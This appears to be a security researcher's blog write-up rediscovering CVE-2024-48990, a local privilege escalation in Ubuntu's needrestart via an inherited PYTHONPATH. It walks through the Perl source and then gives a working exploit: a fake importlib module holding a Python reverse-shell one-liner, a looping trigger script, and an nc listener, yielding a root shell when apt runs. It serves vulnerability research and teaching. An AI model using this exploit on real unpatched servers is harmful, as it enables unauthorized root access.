Introduction
On November 19th, 2024, Qualys publicly disclosed five local privilege escalation vulnerabilities discovered in the needrestart
binary that comes installed by default on Ubuntu Server installations. They disclose the technical details of these here, however, I will be attempting to rediscover CVE-2024-48990 prior to reading the technical details based purely on the information from the CVE description and references. Then, I will create my own exploit that gives me a reverse shell as root.
I have never used needrestart
and I have very little familiarity with Perl, so I am going in blind. Let’s find an N-day!
TL;DR: I was able to set PYTHONPATH to a location where I created a fake importlib
implementation that triggered a reverse shell as root via library path hijacking. The exploit files can be found on my Github.
Becoming Familiar with needrestart
I will begin by cloning the needrestart
repository and getting a high-level overview of what it does.
git clone https://github.com/liske/needrestart
A glance at the README reveals the purpose of needrestart
:
needrestart checks which daemons need to be restarted after library upgrades.
It seems that needrestart
is invoked by package managers via hook scripts in /ex
after library upgrades. Of course, package managers like apt
are typically executed with root privileges, which makes needrestart
a target for Local Privilege Escalation (LPE) vulnerabilities.
I installed needrestart
from the Ubuntu repositories to interact with it directly.
$ sudo apt install needrestart
$ needrestart --version
needrestart 3.6 - Restart daemons after library updates.
-- snip --
Since this is version 3.6 and the patch was introduced in version 3.8, this needrestart
installation is vulnerable.
Tracking Down CVE-2024-48990
The description of this CVE is the following:
Qualys discovered that needrestart, before version 3.8, allows local attackers to execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable.
Additionally, a patch on the file perl/lib/NeedRestart/Interp/Python.pm
is linked in the CVE references section with the commit message “interp: do not set PYTHONPATH environment variable to prevent a LPE”. These are very substantial hints.
The patched file is in the NeedRestart::Interp::Python
module. This module was specified in the README as a part of the needrestart
interpreter scanning feature, which searches for outdated source code files in Python, Ruby, Perl, and Java.
PYTHONPATH explained
According to the official Python documentation, PYTHONPATH
defines the default search path for module files that are imported. In fact, I have used PYTHONPATH within CTF competitions to execute my own user-controlled Python code with executed privileges via library path hijacking.
PYTHONPATH Assignment in needrestart
Let’s look at how PYTHONPATH
is being set within needrestart
. I will checkout to a vulnerable version of the source code to look further.
git checkout tags/v3.6
I used the search functionality to locate where PYTHONPATH
is being set within the files()
subroutine.
The nr_parse_env()
subroutine above is defined in perl/lib/NeedRestart/Utils.pm
and reads the /proc/<pid>/environ
file of the Python process that it is checking and returns an array of the environment variables used by that process.
sub nr_parse_env($) {
my $pid = shift;
my $fh;
open($fh, '<', "/proc/$pid/environ") || return (); # read environment variables from environ file
local $/ = "\000";
my @env = <$fh>;
chomp(@env);
close($fh);
return map { (/^([^=]+)=(.*)$/ ? ($1, $2) : ()) } @env;
}
Scrolling to lines 202-207 of perl/lib/NeedRestart/Interp/Python.pm
sheds some insight into the Python code that is executed after the PYTHONPATH
environment variable is set.
# get include path
my ($pyread, $pywrite) = nr_fork_pipe2($self->{debug}, $ptable->{exec}, '-'); # Equivalent to `python -` on the CLI
print $pywrite "import sys\nprint(sys.path)\n"; # This code is passed into Python's stdin
close($pywrite);
my ($path) = <$pyread>;
close($pyread);
At a high level, this is a breakdown of the most relevant steps from the code shared so far:
- The
files()
subroutine of the Python interpreter checker is called with the PID of a Python process as the argument. - The environment variables associated with that process are parsed.
- If a
PYTHONPATH
environment variable is found,$ENV
is set to contain that value.
- If a
- A forked process of Python is being launched where the code
import sys\nprint(sys.path)\n
is being executed.
The %ENV
Variable
As stated in the Perl documentation, “Perl maintains environment variables in a special hash named %ENV”.
Even though %ENV
is not explicitly passed as a parameter to the child Python process that is being created by needrestart
, Perl will still carry over those values behind the scenes, which is why the value of %ENV
is significant.
Seed of an Attack Idea
A potential attack strategy is forming: launch a Python process with the PYTHONPATH
set to an attacker-controlled directory and perform a library path hijacking attack to execute arbitrary Python code.
Before we can create a proof-of-concept for this idea, however, we must first verify that we can do the following:
- Trigger the Python interpreter scan to check an attacker-controlled process.
- Identify a Python library that can be hijacked.
- The imported module
sys
is built-in to Python and does not rely on an external module path. Since Python does not search through external files in the search path forsys
, we will have to be more creative with our approach.
- The imported module
Triggering the Python Interpreter Check
As previously mentioned, needrestart
supports interpreter checks on Python, Ruby, Perl, and Java programs. These interpreter checks are iteratively invoked by the needrestart_interp_check()
subroutine on a given process in perl/lib/NeedRestart.pm
.
sub needrestart_interp_check($$$$$) {
my $debug = shift;
my $pid = shift;
-- snip --
foreach my $interp (values %Interps) { # iterate through Python, Ruby, Perl, and Java interpreter checkers
if($interp->isa($pid, $bin)) { # check that argv[0] of the process is supported by the current interpreter checker
-- snip --
my %files = $interp->files($pid, \%InterpCache); # call the vulnerable files() subroutine on the process
-- snip --
}
}
In turn, needrestart_interp_check()
is called in line 584 by the main /needrestart
Perl script when $restart
is false and interpscan
is not disabled by the configuration.
unless($restart || !$nrconf{interpscan}) {
$restart++ if(needrestart_interp_check($nrconf{verbosity} > 1, $pid, $exe, $nrconf{blacklist_interp}, $opt_t));
}
Luckily, $nrconf{interpscan}
is enabled by default.
Another factor to consider is the PID that is being passed to needrestart_interp_check()
since that corresponds with the process that the PYTHONPATH
environment variable is being read from. Searching for the value of $pid
in /needrestart
reveals that the program iterates through a list of PIDs stored in $ptable
.
my $ptable = nr_ptable();
-- snip --
for my $pid (sort {$a <=> $b} keys %$ptable) {
The $ptable
hash is populated with a list of all process objects accessible to the user executing needrestart
.
my %ptable;
{
local $SIG{__WARN__} = sub {};
%ptable = map {$_->pid => $_} @{ new Proc::ProcessTable(enable_ttys => 1)->table };
}
sub nr_ptable() {
return \%ptable;
}
This verifies that we will be able to invoke needrestart_interp_check()
with the PID of our malicious process since all of the processes are iterated through.
Exploit Development
Flushing out the Plan
Since I couldn’t do library path hijacking with the built-in sys
module, I thought about other options that I could target within the short Python snippet import sys\nprint(sys.path)
that is executed in Python.pm
.
There are two other notable tokens aside from sys
: print
and import
. I decided to read more about how import
in the official documentation. In particular, this snippet from the docs stood out to me:
importlib.import_module() is provided to support applications that determine dynamically the modules to be loaded.
It seems that using the import
statement in python can trigger the importlib
module. I used the find
command to verify that importlib
is indeed a dynamically loaded library rather than a Python built-in like sys
.
$ find / -name importlib 2>/dev/null
/usr/lib/python3.12/importlib
Maybe we can take advantage of importlib
being dynamically loaded along with the fact that the contents of __init__.py
are automatically executed when a module is loaded. I created a directory in /tmp/needrestart
with the following structure:
./importlib
./importlib/__init__.py
./main.py
The contents of main.py
are below.
$ main.py
import sys
In ./importlib/__init__.py
, I write Python code that will create a hacked.txt
file:
$ cat ./importlib/__init__.py
import os
os.system("touch hacked.txt")
Let’s put this idea to the test! I will export PYTHONPATH=/tmp/needrestart
and manually replicate the python
process that needrestart
executes.
It works! Let’s see if we can port this attack directly to needrestart
.
Launching the exploit
I modified main.py
to be an infinite loop so that it continues running while needrestart
is searching the process list. The purpose of this file is to simply trigger the Python interpreter scan with our desired PYTHONPATH
value.
$ cat main.py
while True:
pass
Let’s up the ante here and get a reverse shell as root.
$ cat importlib/__init__.py
import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")
I executed python3 ./main.py
with our malicious PYTHONPATH
variable.
$ export PYTHONPATH=/tmp/needrestart
$ python3 ./main.py
In a separate terminal, I verified that our process was showing up and the desired PYTHONPATH
variable was set in the way that needrestart
would read it.
$ ps ax | grep python3
428477 pts/13 R+ 0:03 python3 ./main.py
$ cat /proc/428477/environ | grep --text -oP 'PYTHONPATH[^\x00]*' # verify our environment variable shows up
PYTHONPATH=/tmp/needrestart
Note: Make sure that the python3 binary that you are running is located at a path that follows this regex pattern for needrestart
to recognize it as a valid Python program: ^/usr/(local/)?bin/python([23][.\d]*)?$
.
Now, I will test the exploit by setting up a nc
listener and attempting to install curl
using apt
!
It worked! We have successfully identified and exploited the n-day, CVE-2024-48990. In a real-world environment, it is likely that a system administrator or cron job would periodically perform library upgrades on the vulnerable server through a package manager. The package manager, with elevated privileges, would launch needrestart
, which ends up scanning our attacker-controlled process and ultimately executing our desired Python code as root.
Thanks for reading!